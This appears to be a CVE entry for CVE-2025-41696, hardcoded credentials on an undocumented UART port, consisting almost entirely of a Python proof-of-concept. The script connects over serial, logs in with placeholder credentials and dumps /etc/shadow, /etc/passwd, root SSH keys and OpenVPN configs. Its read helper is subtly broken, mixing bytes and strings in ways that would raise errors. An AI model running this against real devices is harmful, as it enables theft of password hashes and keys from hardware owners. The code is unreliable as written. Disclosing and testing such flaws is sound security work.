CVE-2025-41696: 设备PCB未记录UART端口硬编码凭证未授权访问漏洞

#!/usr/bin/env python3 """ CVE-2025-41696 PoC - UART Port Access with Hardcoded Credentials Note: This is a conceptual PoC for authorized security testing only. Hardware required: USB-to-TTL adapter, jumper wires """ import serial import time def connect_uart(port='/dev/ttyUSB0', baudrate=115200): """Establish UART connection to device""" ser = serial.Serial( port=port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=5 ) return ser def read_until(ser, until=b'>', timeout=10): """Read UART output until delimiter""" output = b'' start = time.time() while time.time() - start < timeout: if ser.in_waiting: char = ser.read() output += char if until.encode() in output.decode('utf-8', errors='ignore'): break return output.decode('utf-8', errors='ignore') def authenticate_uart(ser, username, password): """Authenticate using hardcoded credentials from CVE-2025-41692""" # Wait for login prompt read_until(ser, 'login: ') time.sleep(0.5) # Send username ser.write(f"{username}\n".encode()) time.sleep(0.5) # Wait for password prompt read_until(ser, 'Password: ') time.sleep(0.5) # Send password ser.write(f"{password}\n".encode()) time.sleep(1) # Check if authentication successful response = read_until(ser) return 'authenticated' in response.lower() or '$' in response def extract_filesystem(ser): """Extract sensitive files from filesystem""" sensitive_files = [ '/etc/shadow', '/etc/passwd', '/etc/config/', '/root/.ssh/', '/etc/openvpn/', ] results = {} for file_path in sensitive_files: ser.write(f"cat {file_path}\n".encode()) time.sleep(0.5) content = read_until(ser) results[file_path] = content return results def main(): # Configuration - adjust based on target device UART_PORT = '/dev/ttyUSB0' # Linux BAUDRATE = 115200 # Credentials from CVE-2025-41692 (to be determined from VDE advisory) USERNAME = 'admin' # Placeholder PASSWORD = 'password' # Placeholder try: print('[*] Connecting to UART port...') ser = connect_uart(UART_PORT, BAUDRATE) print('[*] Waiting for device boot...') time.sleep(3) read_until(ser) print('[*] Attempting authentication...') if authenticate_uart(ser, USERNAME, PASSWORD): print('[+] Authentication successful!') print('[*] Extracting filesystem data...') data = extract_filesystem(ser) for path, content in data.items(): print(f'\n=== {path} ===') print(content) else: print('[-] Authentication failed') except Exception as e: print(f'[-] Error: {e}') finally: ser.close() if __name__ == '__main__': main()